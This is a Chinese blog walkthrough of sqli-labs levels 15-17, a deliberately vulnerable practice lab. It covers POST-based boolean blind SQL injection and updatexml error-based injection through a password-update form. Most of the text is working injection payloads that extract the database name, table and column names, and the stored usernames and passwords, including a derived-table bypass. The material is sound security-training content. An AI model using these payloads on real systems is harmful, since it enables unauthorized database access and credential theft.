当前位置: 首页 > news >正文

sqli-lab靶场学习(五)——Less15-17(post方法盲注、修改密码)

前言

第11-14关开始用post方法,15-17关会用到盲注,post方法盲注和get方法类似。

Less15

这关是单引号闭合,有报错但没有具体情况的回显,因此适合使用错误盲注。

在用户名密码框分别输入

账号:admin' and 1=1  -- asd
密码:123456

页面返回正确

因此我们可以重复之前盲注的手法,具体字符就不逐个操作了,只列出对的情况。注入点在用户名那里,密码随便填写非空的即可

' or LENGTH(DATABASE())=8  -- asd
' or substr(database(), 1, 1)='s' -- asd
' or substr(database(), 2, 1)='e' -- asd
' or substr(database(), 3, 1)='c' -- asd
' or substr(database(), 4, 1)='u' -- asd
' or substr(database(), 5, 1)='r' -- asd
' or substr(database(), 6, 1)='i' -- asd
' or substr(database(), 7, 1)='t' -- asd
' or substr(database(), 8, 1)='y' -- asd

这样就猜出了当前数据库情况。用同样的方法,我们可以猜到可以找出在information_schema.tables中第四个表的表名是users:

' or (select LENGTH(table_name) from information_schema.tables where table_schema=database() limit 3,1)=4 -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)='u' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 2, 1)='s' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 3, 1)='e' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 4, 1)='r' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 5, 1)='s' -- asd

之后用同样的方式,盲注找出列名:

' or (select LENGTH(column_name) from information_schema.columns where table_name='users' limit 4,1)=8 -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 1, 1)='u' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 2, 1)='s' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 3, 1)='e' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 4, 1)='r' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 5, 1)='n' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 6, 1)='a' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 7, 1)='m' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 8, 1)='e' -- asd
' or (select LENGTH(column_name) from information_schema.columns where table_name='users' limit 5,1)=8 -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 1, 1)='p' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 2, 1)='a' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 3, 1)='s' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 4, 1)='s' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 5, 1)='w' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 6, 1)='o' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 7, 1)='r' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 8, 1)='d' -- asd

盲注后匹配第四和第五个列名是username和password。 

之后盲注找出用户名和密码:

' or (select LENGTH(username) from users limit 0,1)=4 -- asd
' or ASCII(substr((select username from users limit 0,1), 1, 1))=68 -- asd
' or ASCII(substr((select username from users limit 0,1), 2, 1))=117 -- asd
' or ASCII(substr((select username from users limit 0,1), 3, 1))=109 -- asd
' or ASCII(substr((select username from users limit 0,1), 4, 1))=98 -- asd
' or (select LENGTH(password) from users limit 0,1)=4 -- asd
' or ASCII(substr((select password from users limit 0,1), 1, 1))=68 -- asd
' or ASCII(substr((select password from users limit 0,1), 2, 1))=117 -- asd
' or ASCII(substr((select password from users limit 0,1), 3, 1))=109 -- asd
' or ASCII(substr((select password from users limit 0,1), 4, 1))=98 -- asd

这里用了ascii码来匹配,因为账号密码是有大小写区分,但mysql默认配置里是不区分大小写。前面数据库名、表名、列名也可以用ascii码去匹配。如果数据库本身是区分大小写的话就一定要用ascii码来匹配。

其实总体来说和Less8没什么区别。所以很多内容直接从那里复制过来。具体可以参考一下《sqli-lab靶场学习(三)——Less8-10(盲注、时间盲注)》

Less16

这里只是把less15的单引号闭合改成 "),双引号+右括号。其他不变,所以就不重复列举了。

不过16关的标题提示我们用时间盲注来处理。其实也是可以的,参考Less9

Less17

这关有个很大的不同点,是让我们改密码。很显然,前面这么多关我们事实上都是在查询,但本关是做更新。

尝试了一些闭合,特点是报错的时候会有错误信息回显。所以可以用updatexml大法,同时注入点在密码框。

在用户名框和密码框分别输入:

admin
1' where updatexml(1,concat(0x7e,database(),0x7e),1)#'

可以看到报错信息:

和Less5的套路是一样的。接下来我们找出表名,根据less5的经验,我们在密码框输入:

1' where updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- asd

看到表名出来了。

之后就是找对应字段名:

1' where updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- asd
1' where updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e),1) -- asd

username和password就出来了。

之后就剩下用户名密码了:

1' where updatexml(1,concat('~',(select username from security.users limit 0,1),'~'),1) -- asd
1' where updatexml(1,concat('~',(select password from security.users limit 0,1),'~'),1) -- asd

这里没法回显,因为在 UPDATE 语句中使用了子查询,并且子查询中引用了待更新的目标表。所以我们这里要使用临时表来处理:

1' where updatexml(1,concat('~',(select username from (select username from users limit 0,1) as temp),'~'),1) -- asd
1' where updatexml(1,concat('~',(select password from (select password from users limit 0,1) as temp),'~'),1) -- asd

就查出来了。

小结

15和16关是post方法如何使用盲注来渗透,17关在update方法中进行渗透,并且在最后update时有个报错,不能用之前的updatexml大法语句,要使用临时表。


http://www.mrgr.cn/news/89936.html

相关文章:

  • 车载以太网__传输层
  • 设计模式Python版 代理模式
  • 【ollama通过命令行启动后如何在网页端查看运行】
  • 笔试-二维数组1
  • .git/hooks/post-merge 文件的作用
  • AI学习(vscode+deepseek+cline)
  • 深度剖析 Redisson 分布式锁:原理、实现与应用实践
  • mysql 学习11 事务,事务简介,事务操作,事务四大特性,并发事务问题,事务隔离级别
  • 深入探究 C++17 std::is_invocable
  • 计算机毕业设计Tensorflow+LSTM空气质量监测及预测系统 天气预测系统 Spark Hadoop 深度学习 机器学习 人工智能
  • 虚拟局域网之详解(Detailed Explanation of Virtual Local Area Network)
  • 参数映射服务完整解决方案
  • A股level2高频数据分析20250205
  • STC51案例操作
  • “公路养护新利器!公路 AI 智慧巡检系统
  • cursor指令工具
  • JavaScript系列(66)--类型系统实现详解
  • 题海拾贝:【高精度】减法
  • 驱动开发系列34 - Linux Graphics Intel 动态显存技术的实现
  • 数据结构:算法复杂度
  • DeepSeek-R1论文细节时间线梳理
  • 0002-课前准备和课程基础
  • 开源项目介绍-词云生成
  • 源路由 | 源路由网桥 / 生成树网桥
  • 【GoLang】切片的面试知识点
  • jakarta EE学习笔记-个人笔记